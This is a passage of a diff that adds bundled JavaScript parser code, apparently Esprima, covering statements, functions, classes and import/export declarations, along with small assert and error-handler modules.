+	            case 4 /* Keyword */:
+	                switch (this.lookahead.value) {
+	                    case 'break':
+	                        statement = this.parseBreakStatement();
+	                        break;
+	                    case 'continue':
+	                        statement = this.parseContinueStatement();
+	                        break;
+	                    case 'debugger':
+	                        statement = this.parseDebuggerStatement();
+	                        break;
+	                    case 'do':
+	                        statement = this.parseDoWhileStatement();
+	                        break;
+	                    case 'for':
+	                        statement = this.parseForStatement();
+	                        break;
+	                    case 'function':
+	                        statement = this.parseFunctionDeclaration();
+	                        break;
+	                    case 'if':
+	                        statement = this.parseIfStatement();
+	                        break;
+	                    case 'return':
+	                        statement = this.parseReturnStatement();
+	                        break;
+	                    case 'switch':
+	                        statement = this.parseSwitchStatement();
+	                        break;
+	                    case 'throw':
+	                        statement = this.parseThrowStatement();
+	                        break;
+	                    case 'try':
+	                        statement = this.parseTryStatement();
+	                        break;
+	                    case 'var':
+	                        statement = this.parseVariableStatement();
+	                        break;
+	                    case 'while':
+	                        statement = this.parseWhileStatement();
+	                        break;
+	                    case 'with':
+	                        statement = this.parseWithStatement();
+	                        break;
+	                    default:
+	                        statement = this.parseExpressionStatement();
+	                        break;
+	                }
+	                break;
+	            default:
+	                statement = this.throwUnexpectedToken(this.lookahead);
+	        }
+	        return statement;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-function-definitions
+	    Parser.prototype.parseFunctionSourceElements = function () {
+	        var node = this.createNode();
+	        this.expect('{');
+	        var body = this.parseDirectivePrologues();
+	        var previousLabelSet = this.context.labelSet;
+	        var previousInIteration = this.context.inIteration;
+	        var previousInSwitch = this.context.inSwitch;
+	        var previousInFunctionBody = this.context.inFunctionBody;
+	        this.context.labelSet = {};
+	        this.context.inIteration = false;
+	        this.context.inSwitch = false;
+	        this.context.inFunctionBody = true;
+	        while (this.lookahead.type !== 2 /* EOF */) {
+	            if (this.match('}')) {
+	                break;
+	            }
+	            body.push(this.parseStatementListItem());
+	        }
+	        this.expect('}');
+	        this.context.labelSet = previousLabelSet;
+	        this.context.inIteration = previousInIteration;
+	        this.context.inSwitch = previousInSwitch;
+	        this.context.inFunctionBody = previousInFunctionBody;
+	        return this.finalize(node, new Node.BlockStatement(body));
+	    };
+	    Parser.prototype.validateParam = function (options, param, name) {
+	        var key = '$' + name;
+	        if (this.context.strict) {
+	            if (this.scanner.isRestrictedWord(name)) {
+	                options.stricted = param;
+	                options.message = messages_1.Messages.StrictParamName;
+	            }
+	            if (Object.prototype.hasOwnProperty.call(options.paramSet, key)) {
+	                options.stricted = param;
+	                options.message = messages_1.Messages.StrictParamDupe;
+	            }
+	        }
+	        else if (!options.firstRestricted) {
+	            if (this.scanner.isRestrictedWord(name)) {
+	                options.firstRestricted = param;
+	                options.message = messages_1.Messages.StrictParamName;
+	            }
+	            else if (this.scanner.isStrictModeReservedWord(name)) {
+	                options.firstRestricted = param;
+	                options.message = messages_1.Messages.StrictReservedWord;
+	            }
+	            else if (Object.prototype.hasOwnProperty.call(options.paramSet, key)) {
+	                options.stricted = param;
+	                options.message = messages_1.Messages.StrictParamDupe;
+	            }
+	        }
+	        /* istanbul ignore next */
+	        if (typeof Object.defineProperty === 'function') {
+	            Object.defineProperty(options.paramSet, key, { value: true, enumerable: true, writable: true, configurable: true });
+	        }
+	        else {
+	            options.paramSet[key] = true;
+	        }
+	    };
+	    Parser.prototype.parseRestElement = function (params) {
+	        var node = this.createNode();
+	        this.expect('...');
+	        var arg = this.parsePattern(params);
+	        if (this.match('=')) {
+	            this.throwError(messages_1.Messages.DefaultRestParameter);
+	        }
+	        if (!this.match(')')) {
+	            this.throwError(messages_1.Messages.ParameterAfterRestParameter);
+	        }
+	        return this.finalize(node, new Node.RestElement(arg));
+	    };
+	    Parser.prototype.parseFormalParameter = function (options) {
+	        var params = [];
+	        var param = this.match('...') ? this.parseRestElement(params) : this.parsePatternWithDefault(params);
+	        for (var i = 0; i < params.length; i++) {
+	            this.validateParam(options, params[i], params[i].value);
+	        }
+	        options.simple = options.simple && (param instanceof Node.Identifier);
+	        options.params.push(param);
+	    };
+	    Parser.prototype.parseFormalParameters = function (firstRestricted) {
+	        var options;
+	        options = {
+	            simple: true,
+	            params: [],
+	            firstRestricted: firstRestricted
+	        };
+	        this.expect('(');
+	        if (!this.match(')')) {
+	            options.paramSet = {};
+	            while (this.lookahead.type !== 2 /* EOF */) {
+	                this.parseFormalParameter(options);
+	                if (this.match(')')) {
+	                    break;
+	                }
+	                this.expect(',');
+	                if (this.match(')')) {
+	                    break;
+	                }
+	            }
+	        }
+	        this.expect(')');
+	        return {
+	            simple: options.simple,
+	            params: options.params,
+	            stricted: options.stricted,
+	            firstRestricted: options.firstRestricted,
+	            message: options.message
+	        };
+	    };
+	    Parser.prototype.matchAsyncFunction = function () {
+	        var match = this.matchContextualKeyword('async');
+	        if (match) {
+	            var state = this.scanner.saveState();
+	            this.scanner.scanComments();
+	            var next = this.scanner.lex();
+	            this.scanner.restoreState(state);
+	            match = (state.lineNumber === next.lineNumber) && (next.type === 4 /* Keyword */) && (next.value === 'function');
+	        }
+	        return match;
+	    };
+	    Parser.prototype.parseFunctionDeclaration = function (identifierIsOptional) {
+	        var node = this.createNode();
+	        var isAsync = this.matchContextualKeyword('async');
+	        if (isAsync) {
+	            this.nextToken();
+	        }
+	        this.expectKeyword('function');
+	        var isGenerator = isAsync ? false : this.match('*');
+	        if (isGenerator) {
+	            this.nextToken();
+	        }
+	        var message;
+	        var id = null;
+	        var firstRestricted = null;
+	        if (!identifierIsOptional || !this.match('(')) {
+	            var token = this.lookahead;
+	            id = this.parseVariableIdentifier();
+	            if (this.context.strict) {
+	                if (this.scanner.isRestrictedWord(token.value)) {
+	                    this.tolerateUnexpectedToken(token, messages_1.Messages.StrictFunctionName);
+	                }
+	            }
+	            else {
+	                if (this.scanner.isRestrictedWord(token.value)) {
+	                    firstRestricted = token;
+	                    message = messages_1.Messages.StrictFunctionName;
+	                }
+	                else if (this.scanner.isStrictModeReservedWord(token.value)) {
+	                    firstRestricted = token;
+	                    message = messages_1.Messages.StrictReservedWord;
+	                }
+	            }
+	        }
+	        var previousAllowAwait = this.context.await;
+	        var previousAllowYield = this.context.allowYield;
+	        this.context.await = isAsync;
+	        this.context.allowYield = !isGenerator;
+	        var formalParameters = this.parseFormalParameters(firstRestricted);
+	        var params = formalParameters.params;
+	        var stricted = formalParameters.stricted;
+	        firstRestricted = formalParameters.firstRestricted;
+	        if (formalParameters.message) {
+	            message = formalParameters.message;
+	        }
+	        var previousStrict = this.context.strict;
+	        var previousAllowStrictDirective = this.context.allowStrictDirective;
+	        this.context.allowStrictDirective = formalParameters.simple;
+	        var body = this.parseFunctionSourceElements();
+	        if (this.context.strict && firstRestricted) {
+	            this.throwUnexpectedToken(firstRestricted, message);
+	        }
+	        if (this.context.strict && stricted) {
+	            this.tolerateUnexpectedToken(stricted, message);
+	        }
+	        this.context.strict = previousStrict;
+	        this.context.allowStrictDirective = previousAllowStrictDirective;
+	        this.context.await = previousAllowAwait;
+	        this.context.allowYield = previousAllowYield;
+	        return isAsync ? this.finalize(node, new Node.AsyncFunctionDeclaration(id, params, body)) :
+	            this.finalize(node, new Node.FunctionDeclaration(id, params, body, isGenerator));
+	    };
+	    Parser.prototype.parseFunctionExpression = function () {
+	        var node = this.createNode();
+	        var isAsync = this.matchContextualKeyword('async');
+	        if (isAsync) {
+	            this.nextToken();
+	        }
+	        this.expectKeyword('function');
+	        var isGenerator = isAsync ? false : this.match('*');
+	        if (isGenerator) {
+	            this.nextToken();
+	        }
+	        var message;
+	        var id = null;
+	        var firstRestricted;
+	        var previousAllowAwait = this.context.await;
+	        var previousAllowYield = this.context.allowYield;
+	        this.context.await = isAsync;
+	        this.context.allowYield = !isGenerator;
+	        if (!this.match('(')) {
+	            var token = this.lookahead;
+	            id = (!this.context.strict && !isGenerator && this.matchKeyword('yield')) ? this.parseIdentifierName() : this.parseVariableIdentifier();
+	            if (this.context.strict) {
+	                if (this.scanner.isRestrictedWord(token.value)) {
+	                    this.tolerateUnexpectedToken(token, messages_1.Messages.StrictFunctionName);
+	                }
+	            }
+	            else {
+	                if (this.scanner.isRestrictedWord(token.value)) {
+	                    firstRestricted = token;
+	                    message = messages_1.Messages.StrictFunctionName;
+	                }
+	                else if (this.scanner.isStrictModeReservedWord(token.value)) {
+	                    firstRestricted = token;
+	                    message = messages_1.Messages.StrictReservedWord;
+	                }
+	            }
+	        }
+	        var formalParameters = this.parseFormalParameters(firstRestricted);
+	        var params = formalParameters.params;
+	        var stricted = formalParameters.stricted;
+	        firstRestricted = formalParameters.firstRestricted;
+	        if (formalParameters.message) {
+	            message = formalParameters.message;
+	        }
+	        var previousStrict = this.context.strict;
+	        var previousAllowStrictDirective = this.context.allowStrictDirective;
+	        this.context.allowStrictDirective = formalParameters.simple;
+	        var body = this.parseFunctionSourceElements();
+	        if (this.context.strict && firstRestricted) {
+	            this.throwUnexpectedToken(firstRestricted, message);
+	        }
+	        if (this.context.strict && stricted) {
+	            this.tolerateUnexpectedToken(stricted, message);
+	        }
+	        this.context.strict = previousStrict;
+	        this.context.allowStrictDirective = previousAllowStrictDirective;
+	        this.context.await = previousAllowAwait;
+	        this.context.allowYield = previousAllowYield;
+	        return isAsync ? this.finalize(node, new Node.AsyncFunctionExpression(id, params, body)) :
+	            this.finalize(node, new Node.FunctionExpression(id, params, body, isGenerator));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-directive-prologues-and-the-use-strict-directive
+	    Parser.prototype.parseDirective = function () {
+	        var token = this.lookahead;
+	        var node = this.createNode();
+	        var expr = this.parseExpression();
+	        var directive = (expr.type === syntax_1.Syntax.Literal) ? this.getTokenRaw(token).slice(1, -1) : null;
+	        this.consumeSemicolon();
+	        return this.finalize(node, directive ? new Node.Directive(expr, directive) : new Node.ExpressionStatement(expr));
+	    };
+	    Parser.prototype.parseDirectivePrologues = function () {
+	        var firstRestricted = null;
+	        var body = [];
+	        while (true) {
+	            var token = this.lookahead;
+	            if (token.type !== 8 /* StringLiteral */) {
+	                break;
+	            }
+	            var statement = this.parseDirective();
+	            body.push(statement);
+	            var directive = statement.directive;
+	            if (typeof directive !== 'string') {
+	                break;
+	            }
+	            if (directive === 'use strict') {
+	                this.context.strict = true;
+	                if (firstRestricted) {
+	                    this.tolerateUnexpectedToken(firstRestricted, messages_1.Messages.StrictOctalLiteral);
+	                }
+	                if (!this.context.allowStrictDirective) {
+	                    this.tolerateUnexpectedToken(token, messages_1.Messages.IllegalLanguageModeDirective);
+	                }
+	            }
+	            else {
+	                if (!firstRestricted && token.octal) {
+	                    firstRestricted = token;
+	                }
+	            }
+	        }
+	        return body;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-method-definitions
+	    Parser.prototype.qualifiedPropertyName = function (token) {
+	        switch (token.type) {
+	            case 3 /* Identifier */:
+	            case 8 /* StringLiteral */:
+	            case 1 /* BooleanLiteral */:
+	            case 5 /* NullLiteral */:
+	            case 6 /* NumericLiteral */:
+	            case 4 /* Keyword */:
+	                return true;
+	            case 7 /* Punctuator */:
+	                return token.value === '[';
+	            default:
+	                break;
+	        }
+	        return false;
+	    };
+	    Parser.prototype.parseGetterMethod = function () {
+	        var node = this.createNode();
+	        var isGenerator = false;
+	        var previousAllowYield = this.context.allowYield;
+	        this.context.allowYield = false;
+	        var formalParameters = this.parseFormalParameters();
+	        if (formalParameters.params.length > 0) {
+	            this.tolerateError(messages_1.Messages.BadGetterArity);
+	        }
+	        var method = this.parsePropertyMethod(formalParameters);
+	        this.context.allowYield = previousAllowYield;
+	        return this.finalize(node, new Node.FunctionExpression(null, formalParameters.params, method, isGenerator));
+	    };
+	    Parser.prototype.parseSetterMethod = function () {
+	        var node = this.createNode();
+	        var isGenerator = false;
+	        var previousAllowYield = this.context.allowYield;
+	        this.context.allowYield = false;
+	        var formalParameters = this.parseFormalParameters();
+	        if (formalParameters.params.length !== 1) {
+	            this.tolerateError(messages_1.Messages.BadSetterArity);
+	        }
+	        else if (formalParameters.params[0] instanceof Node.RestElement) {
+	            this.tolerateError(messages_1.Messages.BadSetterRestParameter);
+	        }
+	        var method = this.parsePropertyMethod(formalParameters);
+	        this.context.allowYield = previousAllowYield;
+	        return this.finalize(node, new Node.FunctionExpression(null, formalParameters.params, method, isGenerator));
+	    };
+	    Parser.prototype.parseGeneratorMethod = function () {
+	        var node = this.createNode();
+	        var isGenerator = true;
+	        var previousAllowYield = this.context.allowYield;
+	        this.context.allowYield = true;
+	        var params = this.parseFormalParameters();
+	        this.context.allowYield = false;
+	        var method = this.parsePropertyMethod(params);
+	        this.context.allowYield = previousAllowYield;
+	        return this.finalize(node, new Node.FunctionExpression(null, params.params, method, isGenerator));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-generator-function-definitions
+	    Parser.prototype.isStartOfExpression = function () {
+	        var start = true;
+	        var value = this.lookahead.value;
+	        switch (this.lookahead.type) {
+	            case 7 /* Punctuator */:
+	                start = (value === '[') || (value === '(') || (value === '{') ||
+	                    (value === '+') || (value === '-') ||
+	                    (value === '!') || (value === '~') ||
+	                    (value === '++') || (value === '--') ||
+	                    (value === '/') || (value === '/='); // regular expression literal
+	                break;
+	            case 4 /* Keyword */:
+	                start = (value === 'class') || (value === 'delete') ||
+	                    (value === 'function') || (value === 'let') || (value === 'new') ||
+	                    (value === 'super') || (value === 'this') || (value === 'typeof') ||
+	                    (value === 'void') || (value === 'yield');
+	                break;
+	            default:
+	                break;
+	        }
+	        return start;
+	    };
+	    Parser.prototype.parseYieldExpression = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('yield');
+	        var argument = null;
+	        var delegate = false;
+	        if (!this.hasLineTerminator) {
+	            var previousAllowYield = this.context.allowYield;
+	            this.context.allowYield = false;
+	            delegate = this.match('*');
+	            if (delegate) {
+	                this.nextToken();
+	                argument = this.parseAssignmentExpression();
+	            }
+	            else if (this.isStartOfExpression()) {
+	                argument = this.parseAssignmentExpression();
+	            }
+	            this.context.allowYield = previousAllowYield;
+	        }
+	        return this.finalize(node, new Node.YieldExpression(argument, delegate));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-class-definitions
+	    Parser.prototype.parseClassElement = function (hasConstructor) {
+	        var token = this.lookahead;
+	        var node = this.createNode();
+	        var kind = '';
+	        var key = null;
+	        var value = null;
+	        var computed = false;
+	        var method = false;
+	        var isStatic = false;
+	        var isAsync = false;
+	        if (this.match('*')) {
+	            this.nextToken();
+	        }
+	        else {
+	            computed = this.match('[');
+	            key = this.parseObjectPropertyKey();
+	            var id = key;
+	            if (id.name === 'static' && (this.qualifiedPropertyName(this.lookahead) || this.match('*'))) {
+	                token = this.lookahead;
+	                isStatic = true;
+	                computed = this.match('[');
+	                if (this.match('*')) {
+	                    this.nextToken();
+	                }
+	                else {
+	                    key = this.parseObjectPropertyKey();
+	                }
+	            }
+	            if ((token.type === 3 /* Identifier */) && !this.hasLineTerminator && (token.value === 'async')) {
+	                var punctuator = this.lookahead.value;
+	                if (punctuator !== ':' && punctuator !== '(' && punctuator !== '*') {
+	                    isAsync = true;
+	                    token = this.lookahead;
+	                    key = this.parseObjectPropertyKey();
+	                    if (token.type === 3 /* Identifier */) {
+	                        if (token.value === 'get' || token.value === 'set') {
+	                            this.tolerateUnexpectedToken(token);
+	                        }
+	                        else if (token.value === 'constructor') {
+	                            this.tolerateUnexpectedToken(token, messages_1.Messages.ConstructorIsAsync);
+	                        }
+	                    }
+	                }
+	            }
+	        }
+	        var lookaheadPropertyKey = this.qualifiedPropertyName(this.lookahead);
+	        if (token.type === 3 /* Identifier */) {
+	            if (token.value === 'get' && lookaheadPropertyKey) {
+	                kind = 'get';
+	                computed = this.match('[');
+	                key = this.parseObjectPropertyKey();
+	                this.context.allowYield = false;
+	                value = this.parseGetterMethod();
+	            }
+	            else if (token.value === 'set' && lookaheadPropertyKey) {
+	                kind = 'set';
+	                computed = this.match('[');
+	                key = this.parseObjectPropertyKey();
+	                value = this.parseSetterMethod();
+	            }
+	        }
+	        else if (token.type === 7 /* Punctuator */ && token.value === '*' && lookaheadPropertyKey) {
+	            kind = 'init';
+	            computed = this.match('[');
+	            key = this.parseObjectPropertyKey();
+	            value = this.parseGeneratorMethod();
+	            method = true;
+	        }
+	        if (!kind && key && this.match('(')) {
+	            kind = 'init';
+	            value = isAsync ? this.parsePropertyMethodAsyncFunction() : this.parsePropertyMethodFunction();
+	            method = true;
+	        }
+	        if (!kind) {
+	            this.throwUnexpectedToken(this.lookahead);
+	        }
+	        if (kind === 'init') {
+	            kind = 'method';
+	        }
+	        if (!computed) {
+	            if (isStatic && this.isPropertyKey(key, 'prototype')) {
+	                this.throwUnexpectedToken(token, messages_1.Messages.StaticPrototype);
+	            }
+	            if (!isStatic && this.isPropertyKey(key, 'constructor')) {
+	                if (kind !== 'method' || !method || (value && value.generator)) {
+	                    this.throwUnexpectedToken(token, messages_1.Messages.ConstructorSpecialMethod);
+	                }
+	                if (hasConstructor.value) {
+	                    this.throwUnexpectedToken(token, messages_1.Messages.DuplicateConstructor);
+	                }
+	                else {
+	                    hasConstructor.value = true;
+	                }
+	                kind = 'constructor';
+	            }
+	        }
+	        return this.finalize(node, new Node.MethodDefinition(key, computed, value, kind, isStatic));
+	    };
+	    Parser.prototype.parseClassElementList = function () {
+	        var body = [];
+	        var hasConstructor = { value: false };
+	        this.expect('{');
+	        while (!this.match('}')) {
+	            if (this.match(';')) {
+	                this.nextToken();
+	            }
+	            else {
+	                body.push(this.parseClassElement(hasConstructor));
+	            }
+	        }
+	        this.expect('}');
+	        return body;
+	    };
+	    Parser.prototype.parseClassBody = function () {
+	        var node = this.createNode();
+	        var elementList = this.parseClassElementList();
+	        return this.finalize(node, new Node.ClassBody(elementList));
+	    };
+	    Parser.prototype.parseClassDeclaration = function (identifierIsOptional) {
+	        var node = this.createNode();
+	        var previousStrict = this.context.strict;
+	        this.context.strict = true;
+	        this.expectKeyword('class');
+	        var id = (identifierIsOptional && (this.lookahead.type !== 3 /* Identifier */)) ? null : this.parseVariableIdentifier();
+	        var superClass = null;
+	        if (this.matchKeyword('extends')) {
+	            this.nextToken();
+	            superClass = this.isolateCoverGrammar(this.parseLeftHandSideExpressionAllowCall);
+	        }
+	        var classBody = this.parseClassBody();
+	        this.context.strict = previousStrict;
+	        return this.finalize(node, new Node.ClassDeclaration(id, superClass, classBody));
+	    };
+	    Parser.prototype.parseClassExpression = function () {
+	        var node = this.createNode();
+	        var previousStrict = this.context.strict;
+	        this.context.strict = true;
+	        this.expectKeyword('class');
+	        var id = (this.lookahead.type === 3 /* Identifier */) ? this.parseVariableIdentifier() : null;
+	        var superClass = null;
+	        if (this.matchKeyword('extends')) {
+	            this.nextToken();
+	            superClass = this.isolateCoverGrammar(this.parseLeftHandSideExpressionAllowCall);
+	        }
+	        var classBody = this.parseClassBody();
+	        this.context.strict = previousStrict;
+	        return this.finalize(node, new Node.ClassExpression(id, superClass, classBody));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-scripts
+	    // https://tc39.github.io/ecma262/#sec-modules
+	    Parser.prototype.parseModule = function () {
+	        this.context.strict = true;
+	        this.context.isModule = true;
+	        var node = this.createNode();
+	        var body = this.parseDirectivePrologues();
+	        while (this.lookahead.type !== 2 /* EOF */) {
+	            body.push(this.parseStatementListItem());
+	        }
+	        return this.finalize(node, new Node.Module(body));
+	    };
+	    Parser.prototype.parseScript = function () {
+	        var node = this.createNode();
+	        var body = this.parseDirectivePrologues();
+	        while (this.lookahead.type !== 2 /* EOF */) {
+	            body.push(this.parseStatementListItem());
+	        }
+	        return this.finalize(node, new Node.Script(body));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-imports
+	    Parser.prototype.parseModuleSpecifier = function () {
+	        var node = this.createNode();
+	        if (this.lookahead.type !== 8 /* StringLiteral */) {
+	            this.throwError(messages_1.Messages.InvalidModuleSpecifier);
+	        }
+	        var token = this.nextToken();
+	        var raw = this.getTokenRaw(token);
+	        return this.finalize(node, new Node.Literal(token.value, raw));
+	    };
+	    // import {<foo as bar>} ...;
+	    Parser.prototype.parseImportSpecifier = function () {
+	        var node = this.createNode();
+	        var imported;
+	        var local;
+	        if (this.lookahead.type === 3 /* Identifier */) {
+	            imported = this.parseVariableIdentifier();
+	            local = imported;
+	            if (this.matchContextualKeyword('as')) {
+	                this.nextToken();
+	                local = this.parseVariableIdentifier();
+	            }
+	        }
+	        else {
+	            imported = this.parseIdentifierName();
+	            local = imported;
+	            if (this.matchContextualKeyword('as')) {
+	                this.nextToken();
+	                local = this.parseVariableIdentifier();
+	            }
+	            else {
+	                this.throwUnexpectedToken(this.nextToken());
+	            }
+	        }
+	        return this.finalize(node, new Node.ImportSpecifier(local, imported));
+	    };
+	    // {foo, bar as bas}
+	    Parser.prototype.parseNamedImports = function () {
+	        this.expect('{');
+	        var specifiers = [];
+	        while (!this.match('}')) {
+	            specifiers.push(this.parseImportSpecifier());
+	            if (!this.match('}')) {
+	                this.expect(',');
+	            }
+	        }
+	        this.expect('}');
+	        return specifiers;
+	    };
+	    // import <foo> ...;
+	    Parser.prototype.parseImportDefaultSpecifier = function () {
+	        var node = this.createNode();
+	        var local = this.parseIdentifierName();
+	        return this.finalize(node, new Node.ImportDefaultSpecifier(local));
+	    };
+	    // import <* as foo> ...;
+	    Parser.prototype.parseImportNamespaceSpecifier = function () {
+	        var node = this.createNode();
+	        this.expect('*');
+	        if (!this.matchContextualKeyword('as')) {
+	            this.throwError(messages_1.Messages.NoAsAfterImportNamespace);
+	        }
+	        this.nextToken();
+	        var local = this.parseIdentifierName();
+	        return this.finalize(node, new Node.ImportNamespaceSpecifier(local));
+	    };
+	    Parser.prototype.parseImportDeclaration = function () {
+	        if (this.context.inFunctionBody) {
+	            this.throwError(messages_1.Messages.IllegalImportDeclaration);
+	        }
+	        var node = this.createNode();
+	        this.expectKeyword('import');
+	        var src;
+	        var specifiers = [];
+	        if (this.lookahead.type === 8 /* StringLiteral */) {
+	            // import 'foo';
+	            src = this.parseModuleSpecifier();
+	        }
+	        else {
+	            if (this.match('{')) {
+	                // import {bar}
+	                specifiers = specifiers.concat(this.parseNamedImports());
+	            }
+	            else if (this.match('*')) {
+	                // import * as foo
+	                specifiers.push(this.parseImportNamespaceSpecifier());
+	            }
+	            else if (this.isIdentifierName(this.lookahead) && !this.matchKeyword('default')) {
+	                // import foo
+	                specifiers.push(this.parseImportDefaultSpecifier());
+	                if (this.match(',')) {
+	                    this.nextToken();
+	                    if (this.match('*')) {
+	                        // import foo, * as foo
+	                        specifiers.push(this.parseImportNamespaceSpecifier());
+	                    }
+	                    else if (this.match('{')) {
+	                        // import foo, {bar}
+	                        specifiers = specifiers.concat(this.parseNamedImports());
+	                    }
+	                    else {
+	                        this.throwUnexpectedToken(this.lookahead);
+	                    }
+	                }
+	            }
+	            else {
+	                this.throwUnexpectedToken(this.nextToken());
+	            }
+	            if (!this.matchContextualKeyword('from')) {
+	                var message = this.lookahead.value ? messages_1.Messages.UnexpectedToken : messages_1.Messages.MissingFromClause;
+	                this.throwError(message, this.lookahead.value);
+	            }
+	            this.nextToken();
+	            src = this.parseModuleSpecifier();
+	        }
+	        this.consumeSemicolon();
+	        return this.finalize(node, new Node.ImportDeclaration(specifiers, src));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-exports
+	    Parser.prototype.parseExportSpecifier = function () {
+	        var node = this.createNode();
+	        var local = this.parseIdentifierName();
+	        var exported = local;
+	        if (this.matchContextualKeyword('as')) {
+	            this.nextToken();
+	            exported = this.parseIdentifierName();
+	        }
+	        return this.finalize(node, new Node.ExportSpecifier(local, exported));
+	    };
+	    Parser.prototype.parseExportDeclaration = function () {
+	        if (this.context.inFunctionBody) {
+	            this.throwError(messages_1.Messages.IllegalExportDeclaration);
+	        }
+	        var node = this.createNode();
+	        this.expectKeyword('export');
+	        var exportDeclaration;
+	        if (this.matchKeyword('default')) {
+	            // export default ...
+	            this.nextToken();
+	            if (this.matchKeyword('function')) {
+	                // export default function foo () {}
+	                // export default function () {}
+	                var declaration = this.parseFunctionDeclaration(true);
+	                exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration));
+	            }
+	            else if (this.matchKeyword('class')) {
+	                // export default class foo {}
+	                var declaration = this.parseClassDeclaration(true);
+	                exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration));
+	            }
+	            else if (this.matchContextualKeyword('async')) {
+	                // export default async function f () {}
+	                // export default async function () {}
+	                // export default async x => x
+	                var declaration = this.matchAsyncFunction() ? this.parseFunctionDeclaration(true) : this.parseAssignmentExpression();
+	                exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration));
+	            }
+	            else {
+	                if (this.matchContextualKeyword('from')) {
+	                    this.throwError(messages_1.Messages.UnexpectedToken, this.lookahead.value);
+	                }
+	                // export default {};
+	                // export default [];
+	                // export default (1 + 2);
+	                var declaration = this.match('{') ? this.parseObjectInitializer() :
+	                    this.match('[') ? this.parseArrayInitializer() : this.parseAssignmentExpression();
+	                this.consumeSemicolon();
+	                exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration));
+	            }
+	        }
+	        else if (this.match('*')) {
+	            // export * from 'foo';
+	            this.nextToken();
+	            if (!this.matchContextualKeyword('from')) {
+	                var message = this.lookahead.value ? messages_1.Messages.UnexpectedToken : messages_1.Messages.MissingFromClause;
+	                this.throwError(message, this.lookahead.value);
+	            }
+	            this.nextToken();
+	            var src = this.parseModuleSpecifier();
+	            this.consumeSemicolon();
+	            exportDeclaration = this.finalize(node, new Node.ExportAllDeclaration(src));
+	        }
+	        else if (this.lookahead.type === 4 /* Keyword */) {
+	            // export var f = 1;
+	            var declaration = void 0;
+	            switch (this.lookahead.value) {
+	                case 'let':
+	                case 'const':
+	                    declaration = this.parseLexicalDeclaration({ inFor: false });
+	                    break;
+	                case 'var':
+	                case 'class':
+	                case 'function':
+	                    declaration = this.parseStatementListItem();
+	                    break;
+	                default:
+	                    this.throwUnexpectedToken(this.lookahead);
+	            }
+	            exportDeclaration = this.finalize(node, new Node.ExportNamedDeclaration(declaration, [], null));
+	        }
+	        else if (this.matchAsyncFunction()) {
+	            var declaration = this.parseFunctionDeclaration();
+	            exportDeclaration = this.finalize(node, new Node.ExportNamedDeclaration(declaration, [], null));
+	        }
+	        else {
+	            var specifiers = [];
+	            var source = null;
+	            var isExportFromIdentifier = false;
+	            this.expect('{');
+	            while (!this.match('}')) {
+	                isExportFromIdentifier = isExportFromIdentifier || this.matchKeyword('default');
+	                specifiers.push(this.parseExportSpecifier());
+	                if (!this.match('}')) {
+	                    this.expect(',');
+	                }
+	            }
+	            this.expect('}');
+	            if (this.matchContextualKeyword('from')) {
+	                // export {default} from 'foo';
+	                // export {foo} from 'foo';
+	                this.nextToken();
+	                source = this.parseModuleSpecifier();
+	                this.consumeSemicolon();
+	            }
+	            else if (isExportFromIdentifier) {
+	                // export {default}; // missing fromClause
+	                var message = this.lookahead.value ? messages_1.Messages.UnexpectedToken : messages_1.Messages.MissingFromClause;
+	                this.throwError(message, this.lookahead.value);
+	            }
+	            else {
+	                // export {foo};
+	                this.consumeSemicolon();
+	            }
+	            exportDeclaration = this.finalize(node, new Node.ExportNamedDeclaration(null, specifiers, source));
+	        }
+	        return exportDeclaration;
+	    };
+	    return Parser;
+	}());
+	exports.Parser = Parser;
+
+
+/***/ },
+/* 9 */
+/***/ function(module, exports) {
+
+	"use strict";
+	// Ensure the condition is true, otherwise throw an error.
+	// This is only to have a better contract semantic, i.e. another safety net
+	// to catch a logic error. The condition shall be fulfilled in normal case.
+	// Do NOT use this to enforce a certain condition on any user input.
+	Object.defineProperty(exports, "__esModule", { value: true });
+	function assert(condition, message) {
+	    /* istanbul ignore if */
+	    if (!condition) {
+	        throw new Error('ASSERT: ' + message);
+	    }
+	}
+	exports.assert = assert;
+
+
+/***/ },
+/* 10 */
+/***/ function(module, exports) {
+
+	"use strict";
+	/* tslint:disable:max-classes-per-file */
+	Object.defineProperty(exports, "__esModule", { value: true });
+	var ErrorHandler = (function () {
+	    function ErrorHandler() {
+	        this.errors = [];
+	        this.tolerant = false;
+	    }
+	    ErrorHandler.prototype.recordError = function (error) {
+	        this.errors.push(error);
+	    };
+	    ErrorHandler.prototype.tolerate = function (error) {
+	        if (this.tolerant) {
+	            this.recordError(error);
+	        }
+	        else {
+	            throw error;
+	        }
+	    };
+	    ErrorHandler.prototype.constructError = function (msg, column) {
+	        var error = new Error(msg);
+	        try {
+	            throw error;
+	        }
+	        catch (base) {
+	            /* istanbul ignore else */
+	            if (Object.create && Object.defineProperty) {
+	                error = Object.create(base);
+	                Object.defineProperty(error, 'column', { value: column });
+	            }
+	        }
+	        /* istanbul ignore next */
+	        return error;
+	    };
+	    ErrorHandler.prototype.createError = function (index, line, col, description) {
+	        var msg = 'Line ' + line + ': ' + description;
+	        var error = this.constructError(msg, col);
+	        error.index = index;
+	        error.lineNumber = line;
+	        error.description = description;
+	        return error;
+	    };
+	    ErrorHandler.prototype.throwError = function (index, line, col, description) {
+	        throw this.createError(index, line, col, description);
+	    };
+	    ErrorHandler.prototype.tolerateError = function (index, line, col, description) {
+	        var error = this.createError(index, line, col, description);
+	        if (this.tolerant) {
+	            this.recordError(error);
+	        }
+	        else {
+	            throw error;
+	        }
+	    };
+	    return ErrorHandler;
+	}());
+	exports.ErrorHandler = ErrorHandler;
+
+
+/***/ },
+/* 11 */
+/***/ function(module, exports) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	// Error messages should be identical to V8.
+	exports.Messages = {
+	    BadGetterArity: 'Getter must not have any formal parameters',
+	    BadSetterArity: 'Setter must have exactly one formal parameter',
